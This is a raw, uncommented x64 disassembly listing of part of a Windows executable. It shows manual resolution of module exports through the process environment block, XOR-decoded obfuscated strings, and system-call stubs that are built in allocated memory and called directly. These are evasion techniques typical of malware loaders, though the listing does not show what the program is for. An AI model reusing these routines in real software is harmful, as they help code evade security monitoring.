mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x14002f4bb
mov rax, rcx
lea r9, [rbp + 0x271]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14002f4b4
add rax, r11
test edx, edx
jne 0x14002f49f
test r8d, r8d
cmove edi, r11d
call fcn.140094cf0
xor r9d, r9d
test dil, dil
jne 0x14002f4e2
mov rax, qword [rbp - 0x78]
mov rax, qword [rax]
mov qword [rbp - 0x78], rax
cmp rax, qword [rbp - 0x28]
jne 0x14002f3e6
jmp 0x14002f72f
mov rcx, qword [rbp - 0x78]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x14002f72f
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002f72f
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002f72f
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002f72f
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x28], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x40], rax
test rax, rax
je 0x14002f72f
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x639]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002f573
inc rax
test edi, edi
jne 0x14002f55e
xor r9d, r9d
test r8d, r8d
je 0x14002f589
inc rdx
cmp rdx, qword [rbp - 0x40]
jb 0x14002f54d
jmp 0x14002f72f
mov rax, qword [rbp - 0x28]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002f72f
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x14002f72f
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x48], rax
call fcn.140094c90
or dword [rbp + 0x25ad4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x24750]
call fcn.140036bc4
lea rcx, [rbp + 0x24750]
call fcn.1400365dc
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x40], r8
xor eax, eax
mov edi, eax
lea ebx, [rax + 1]
lea rcx, [rbp + 0x24750]
call fcn.1400365dc
mov eax, eax
mov qword [rbp + rdi*8 + 0x3e490], rax
add rdi, rbx
cmp rdi, 0x200
jl 0x14002f62e
mov ebx, reloc.WS2_32.dll_recvfrom
mov rdi, qword [rbp - 0x48]
mov r8d, 0x1000
lea rdx, [rbp + 0x3e490]
mov rcx, rdi
call fcn.1400bc500
mov eax, dword [rsp + 0x60]
mov dword [0x1400e8364], eax
add rdi, qword [rbp - 0x40]
movsd xmm0, qword [0x1400e8360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e8368]
mov word [rdi + 8], ax
mov al, byte [0x1400e836a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe50], eax
lea r9, [rbp + 0xe50]
mov r8d, r15d
mov edx, 0x1000
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x60]
mov r8, qword [rbp - 0x70]
mov rdx, qword [rbp + 0x218]
mov rcx, qword [rbp - 0x80]
call rdi
mov edi, eax
lea r9, [rbp + 0xe50]
mov r8d, dword [rbp + 0xe50]
mov edx, 0x1000
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, qword [rbp - 0x48]
call fcn.1400bcba0
lea edx, [rbx - 6]
mov r8d, 0x8000
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor ecx, ecx
mov dword [0x1400e8364], ecx
test edi, edi
js 0x14002ffa9
xor r9d, r9d
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx + 0x24]
and ecx, 0x20000000
cmp dword [rdx + 0x24], r9d
jge 0x14002f752
neg ecx
sbb edi, edi
and edi, 0x3c
add edi, 4
mov dword [rsp + 0x60], edi
jmp 0x14002f761
mov eax, 2
test ecx, ecx
cmovne eax, r15d
mov dword [rsp + 0x60], eax
mov eax, dword [rdx + 0x10]
mov qword [rbp + 0xf20], rax
mov eax, dword [rdx + 0xc]
add rax, qword [rbp + 0xe10]
mov qword [rbp + 0xd50], rax
mov rax, qword [rbp + 0xcd8]
mov qword [rbp - 0x60], rax
mov dword [rbp + 0xea8], r9d
mov byte [rbp + 0x290], 0x58
mov edi, reloc.WLDAP32.dll_Ordinal_22
mov r9d, edi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x290]
call fcn.14003746c
mov byte [rbp + 0x291], al
mov r9d, edi
lea r8d, [rdi - 0x15]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x290]
call fcn.14003746c
mov byte [rbp + 0x292], al
mov r9d, edi
lea r8d, [rdi - 0x14]
mov dl, 0x50
lea rcx, [rbp + 0x290]
call fcn.14003746c
mov byte [rbp + 0x293], al
mov r9d, edi
lea r8d, [rdi - 0x13]
mov dl, WSAStartup
lea rcx, [rbp + 0x290]
call fcn.14003746c
mov byte [rbp + 0x294], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x290]
call fcn.14003746c
mov byte [rbp + 0x295], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x290]
call fcn.14003746c
mov byte [rbp + 0x296], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, 0x65
lea rcx, [rbp + 0x290]
call fcn.14003746c
mov byte [rbp + 0x297], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, 0x63
lea rcx, [rbp + 0x290]
call fcn.14003746c
mov byte [rbp + 0x298], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x290]
call fcn.14003746c
mov byte [rbp + 0x299], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, 0x56
lea rcx, [rbp + 0x290]
call fcn.14003746c
mov byte [rbp + 0x29a], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, 0x69
lea rcx, [rbp + 0x290]
call fcn.14003746c
mov byte [rbp + 0x29b], al
mov r9d, edi
lea r8d, [rdi - 0xb]
mov dl, WSAStartup
lea rcx, [rbp + 0x290]
call fcn.14003746c
mov byte [rbp + 0x29c], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x290]
call fcn.14003746c
mov byte [rbp + 0x29d], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, 0x75
lea rcx, [rbp + 0x290]
call fcn.14003746c
mov byte [rbp + 0x29e], al
mov r9d, edi
lea r8d, [rdi - 8]
mov dl, 0x61
lea rcx, [rbp + 0x290]
call fcn.14003746c
mov byte [rbp + 0x29f], al
mov r9d, edi
lea r8d, [rdi - 7]
mov dl, 0x6c
lea rcx, [rbp + 0x290]
call fcn.14003746c
mov byte [rbp + 0x2a0], al
mov r9d, edi
mov r8, r13
mov dl, 0x4d
lea rcx, [rbp + 0x290]
call fcn.14003746c
mov byte [rbp + 0x2a1], al
mov r9d, edi
mov r8, rbx
mov dl, 0x65
lea rcx, [rbp + 0x290]
call fcn.14003746c
mov byte [rbp + 0x2a2], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, 0x6d
lea rcx, [rbp + 0x290]
call fcn.14003746c
mov byte [rbp + 0x2a3], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x290]
call fcn.14003746c
mov byte [rbp + 0x2a4], al
mov r9d, edi
mov r8, rsi
mov dl, WSAStartup
lea rcx, [rbp + 0x290]
call fcn.14003746c
mov byte [rbp + 0x2a5], al
mov r9d, edi
mov r8, r12
mov dl, 0x79
lea rcx, [rbp + 0x290]
call fcn.14003746c
mov byte [rbp + 0x2a6], al
xor eax, eax
mov byte [rbp + 0x2a7], al
mov r8d, eax
mov r9d, edi
lea r10d, [rdi - 0x15]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x290]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 0x16]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x290]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x291], dil
add r8, r10
add r9, 0x16
cmp r9, 0x1fa
jb 0x14002fa03
xor edi, edi
mov byte [rbp + 0x2a7], dil
mov word [rbp + 0x158], 0x591f
lea r9d, [rdi + 9]
mov r8, r10
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x158]
call fcn.140035cf8
mov byte [rbp + 0x15a], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x158]
call fcn.140035cf8
mov byte [rbp + 0x15b], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x158]
call fcn.140035cf8
mov byte [rbp + 0x15c], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x158]
call fcn.140035cf8
mov byte [rbp + 0x15d], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x158]
call fcn.140035cf8
mov byte [rbp + 0x15e], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x158]
call fcn.140035cf8
mov byte [rbp + 0x15f], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x158]
call fcn.140035cf8
mov byte [rbp + 0x160], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x158]
call fcn.140035cf8
mov byte [rbp + 0x161], al
xor eax, eax
mov byte [rbp + 0x162], al
mov r8d, edi
lea r9d, [rdi + 9]
lea r10d, [rdi + 1]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x158]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 9]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x158]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x159], dil
add r8, r10
add r9, 9
cmp r9, 0x5a
jb 0x14002fb83
xor r9d, r9d
mov byte [rbp + 0x162], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x14002ff71
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x78], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x70], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.140094f74
mov r9, rax
mov qword [rbp - 0x40], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x70]
test r8d, r8d
jle 0x14002fc95
lea esi, [rax + 1]
mov r10d, esi
mov r14, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r14 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r14 + rdx*2]
mov byte [r9 + rdx], al
add r10d, esi
add rdx, rsi
cmp rdx, r8
jl 0x14002fc67
mov esi, reloc.WS2_32.dll_sendto
lea r14d, [rsi + 3]
mov dword [rsp + 0x78], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bc500
mov rcx, qword [rbp - 0x40]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x14002fcf1
mov rax, rcx
lea r9, [rbp + 0x159]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14002fcea
add rax, r11
test edx, edx
jne 0x14002fcd5
test r8d, r8d
cmove edi, r11d
call fcn.140094cf0
xor r9d, r9d
test dil, dil
jne 0x14002fd18
mov rax, qword [rbp - 0x78]
mov rax, qword [rax]
mov qword [rbp - 0x78], rax
cmp rax, qword [rbp - 0x28]
jne 0x14002fc1e
jmp 0x14002ff71
mov rcx, qword [rbp - 0x78]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x14002ff71
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002ff71
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002ff71
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002ff71
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x28], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x40], rax
test rax, rax
je 0x14002ff71
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x291]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002fda9
inc rax
test edi, edi
jne 0x14002fd94
xor r9d, r9d
test r8d, r8d
je 0x14002fdbf
inc rdx
cmp rdx, qword [rbp - 0x40]
jb 0x14002fd83
jmp 0x14002ff71
mov rax, qword [rbp - 0x28]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002ff71
mov eax, dword [rdx + 4]
mov dword [rsp + 0x70], eax
mov ecx, 1
cmp eax, ecx
jl 0x14002ff71
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x48], rax
call fcn.140094c90
or dword [rbp + 0x26e64], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x25ae0]
call fcn.140036bc4
lea rcx, [rbp + 0x25ae0]
call fcn.1400365dc
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x40], r8
xor eax, eax
mov edi, eax
lea r12d, [rax + 1]
lea rcx, [rbp + 0x25ae0]
call fcn.1400365dc
mov eax, eax
mov qword [rbp + rdi*8 + 0x3f490], rax
add rdi, r12
cmp rdi, 0x200
jl 0x14002fe65
mov r12d, reloc.WS2_32.dll_setsockopt
mov rdi, qword [rbp - 0x48]
mov r8d, 0x1000
lea rdx, [rbp + 0x3f490]
mov rcx, rdi
call fcn.1400bc500
mov eax, dword [rsp + 0x70]
mov dword [0x1400e8364], eax
add rdi, qword [rbp - 0x40]
movsd xmm0, qword [0x1400e8360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e8368]
mov word [rdi + 8], ax
mov al, byte [0x1400e836a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe90], eax
lea r9, [rbp + 0xe90]
mov r8d, r15d
mov edx, 0x1000
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rax, [rbp + 0xea8]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x60]
lea r8, [rbp + 0xf20]
lea rdx, [rbp + 0xd50]
mov rcx, qword [rbp - 0x60]
call rdi
mov edi, eax
lea r9, [rbp + 0xe90]
mov r8d, dword [rbp + 0xe90]
mov edx, 0x1000
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, qword [rbp - 0x48]
call fcn.1400bcba0
lea edx, [r12 - 0xa]
mov r8d, 0x8000
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor r9d, r9d
mov dword [0x1400e8364], r9d
test edi, edi
js 0x14003052d
mov rcx, qword [rbp - 0x20]
mov edx, dword [rbp - 0x68]
mov r10, qword [rbp - 8]
mov r11d, 1
add rcx, 0x28
mov qword [rbp - 0x20], rcx
add edx, r11d
mov dword [rbp - 0x68], edx
movzx eax, word [r10 + 6]
cmp edx, eax
jge 0x140030a6e
mov rdi, qword [rbp + 0xe10]
jmp 0x14002ef57
mov dword [rbp + 0xa18], 0x3967873a
mov r9, rbx
mov r8d, 3
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa18]
call fcn.140035de8
mov byte [rbp + 0xa1c], al
mov r9, rbx
mov r8d, 4
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xa18]
call fcn.140035de8
mov byte [rbp + 0xa1d], al
mov r9, rbx
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa18]
call fcn.140035de8
mov byte [rbp + 0xa1e], al
mov r9, rbx
mov r8d, 6
mov dl, WSAStartup
lea rcx, [rbp + 0xa18]
call fcn.140035de8
mov byte [rbp + 0xa1f], al
mov r9, rbx
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0xa18]
call fcn.140035de8
mov byte [rbp + 0xa20], al
mov r9, rbx
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xa18]
call fcn.140035de8
mov byte [rbp + 0xa21], al
mov r9, rbx
mov r8d, 9
mov dl, r15b
lea rcx, [rbp + 0xa18]
call fcn.140035de8
mov byte [rbp + 0xa22], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x46
lea rcx, [rbp + 0xa18]
call fcn.140035de8
mov byte [rbp + 0xa23], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0xa18]
call fcn.140035de8
mov byte [rbp + 0xa24], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0xa18]
call fcn.140035de8
mov byte [rbp + 0xa25], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0xa18]
call fcn.140035de8
mov byte [rbp + 0xa26], al
mov r9, rbx
mov r8d, select
mov dl, 0x75
lea rcx, [rbp + 0xa18]
call fcn.140035de8
mov byte [rbp + 0xa27], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0xa18]
call fcn.140035de8
mov byte [rbp + 0xa28], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0xa18]
call fcn.140035de8
mov byte [rbp + 0xa29], al
xor eax, eax
mov byte [rbp + 0xa2a], al
xor r10d, r10d
mov r8d, r10d
mov r9, rbx
lea r11d, [rax + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0xa18]
add eax, r11d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xa18]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xa19], dil
add r8, r11
add r9, rbx
cmp r9, 0x132
jb 0x140030166
xor r10d, r10d
mov byte [rbp + 0xa2a], r10b
mov dword [rbp + 0xb08], 0xd2dd285f
lea edi, [r10 + 0x1b]
mov r9d, edi
lea r8d, [r10 + 3]
mov dl, 0x6c
lea rcx, [rbp + 0xb08]
call fcn.140037254
mov byte [rbp + 0xb0c], al
mov r9d, edi
lea r8d, [rdi - 0x17]
mov dl, 0x65
lea rcx, [rbp + 0xb08]
call fcn.140037254
mov byte [rbp + 0xb0d], al
mov r9d, edi
lea r8d, [rdi - 0x16]
mov dl, 0x64
lea rcx, [rbp + 0xb08]
call fcn.140037254
mov byte [rbp + 0xb0e], al
mov r9d, edi
lea r8d, [rdi - 0x15]
mov dl, r15b
lea rcx, [rbp + 0xb08]
call fcn.140037254
mov byte [rbp + 0xb0f], al
mov r9d, edi
lea r8d, [rdi - 0x14]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xb08]
call fcn.140037254
mov byte [rbp + 0xb10], al
mov r9d, edi
lea r8d, [rdi - 0x13]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xb08]
call fcn.140037254
mov byte [rbp + 0xb11], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, r15b
lea rcx, [rbp + 0xb08]
call fcn.140037254
mov byte [rbp + 0xb12], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, 0x50
lea rcx, [rbp + 0xb08]
call fcn.140037254
mov byte [rbp + 0xb13], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, WSAStartup
lea rcx, [rbp + 0xb08]
call fcn.140037254
mov byte [rbp + 0xb14], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, 0x65
lea rcx, [rbp + 0xb08]
call fcn.140037254
mov byte [rbp + 0xb15], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xb08]
call fcn.140037254
mov byte [rbp + 0xb16], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, 0x61
lea rcx, [rbp + 0xb08]
call fcn.140037254
mov byte [rbp + 0xb17], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, WSAStartup
lea rcx, [rbp + 0xb08]
call fcn.140037254
mov byte [rbp + 0xb18], al
mov r9d, edi
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0xb08]
call fcn.140037254
mov byte [rbp + 0xb19], al
mov r9d, edi
mov r8, rbx
mov dl, r15b
lea rcx, [rbp + 0xb08]
call fcn.140037254
mov byte [rbp + 0xb1a], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, 0x49
lea rcx, [rbp + 0xb08]
call fcn.140037254
mov byte [rbp + 0xb1b], al
mov r9d, edi
lea r8d, [rdi - 8]
mov dl, 0x6d
lea rcx, [rbp + 0xb08]
call fcn.140037254
mov byte [rbp + 0xb1c], al
mov r9d, edi
mov r8, rsi
mov dl, 0x61
lea rcx, [rbp + 0xb08]
call fcn.140037254
mov byte [rbp + 0xb1d], al
mov r9d, edi
mov r8, r12
mov dl, 0x67
lea rcx, [rbp + 0xb08]
call fcn.140037254
mov byte [rbp + 0xb1e], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, 0x65
lea rcx, [rbp + 0xb08]
call fcn.140037254
mov byte [rbp + 0xb1f], al
mov r9d, edi
mov r8, r14
mov dl, r15b
lea rcx, [rbp + 0xb08]
call fcn.140037254
mov byte [rbp + 0xb20], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, 0x30
lea rcx, [rbp + 0xb08]
call fcn.140037254
mov byte [rbp + 0xb21], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, 0x78
lea rcx, [rbp + 0xb08]
call fcn.140037254
mov byte [rbp + 0xb22], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, Ordinal_50
lea rcx, [rbp + 0xb08]
call fcn.140037254
mov byte [rbp + 0xb23], al
xor eax, eax
mov byte [rbp + 0xb24], al
xor r10d, r10d
mov r8d, r10d
mov r9d, edi
lea ebx, [rdi - 0x1a]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0xb08]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x1b]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xb08]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xb09], dil
add r8, rbx
add r9, 0x1b
cmp r9, 0x2f4
jb 0x140030494
mov byte [rbp + 0xb24], r10b
xor r9d, r9d
lea r8, [rbp + 0xa19]
lea rdx, [rbp + 0xb09]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.14009bc48
int3
mov dword [rbp + 0xb30], 0xa4c01b6a
mov byte [rbp + 0xb34], 0x54
mov r9, rbx
mov r8d, 4
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xb30]
call fcn.140035de8
mov byte [rbp + 0xb35], al
mov r9, rbx
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xb30]
call fcn.140035de8
mov byte [rbp + 0xb36], al
mov r9, rbx
mov r8d, 6
mov dl, WSAStartup
lea rcx, [rbp + 0xb30]
call fcn.140035de8
mov byte [rbp + 0xb37], al
mov r9, rbx
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0xb30]
call fcn.140035de8
mov byte [rbp + 0xb38], al
mov r9, rbx
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xb30]
call fcn.140035de8
mov byte [rbp + 0xb39], al
mov r9, rbx
mov r8d, 9
mov dl, r15b
lea rcx, [rbp + 0xb30]
call fcn.140035de8
mov byte [rbp + 0xb3a], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x46
lea rcx, [rbp + 0xb30]
call fcn.140035de8
mov byte [rbp + 0xb3b], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0xb30]
call fcn.140035de8
mov byte [rbp + 0xb3c], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0xb30]
call fcn.140035de8
mov byte [rbp + 0xb3d], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0xb30]
call fcn.140035de8
mov byte [rbp + 0xb3e], al
mov r9, rbx
mov r8d, select
mov dl, 0x75
lea rcx, [rbp + 0xb30]
call fcn.140035de8
mov byte [rbp + 0xb3f], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0xb30]
call fcn.140035de8
mov byte [rbp + 0xb40], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0xb30]
call fcn.140035de8
mov byte [rbp + 0xb41], al
xor eax, eax
mov byte [rbp + 0xb42], al
xor r10d, r10d
mov r8d, r10d
mov r9, rbx
lea r11d, [rax + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0xb30]
add eax, r11d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xb30]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xb31], dil
add r8, r11
add r9, rbx
cmp r9, 0x132
jb 0x1400306d4
xor r10d, r10d
mov byte [rbp + 0xb42], r10b
mov dword [rbp + 0xb48], 0x1cbadf35
mov word [rbp + 0xb4c], 0x725a
lea edi, [r10 + 0x1b]
mov r9d, edi
lea r8d, [r10 + 5]
mov dl, 0x64
lea rcx, [rbp + 0xb48]
call fcn.140037254
mov byte [rbp + 0xb4e], al
mov r9d, edi
lea r8d, [rdi - 0x15]
mov dl, r15b
lea rcx, [rbp + 0xb48]
call fcn.140037254
mov byte [rbp + 0xb4f], al
mov r9d, edi
lea r8d, [rdi - 0x14]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xb48]
call fcn.140037254
mov byte [rbp + 0xb50], al
mov r9d, edi
lea r8d, [rdi - 0x13]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xb48]
call fcn.140037254
mov byte [rbp + 0xb51], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, r15b
lea rcx, [rbp + 0xb48]
call fcn.140037254
mov byte [rbp + 0xb52], al
mov r9d, edi
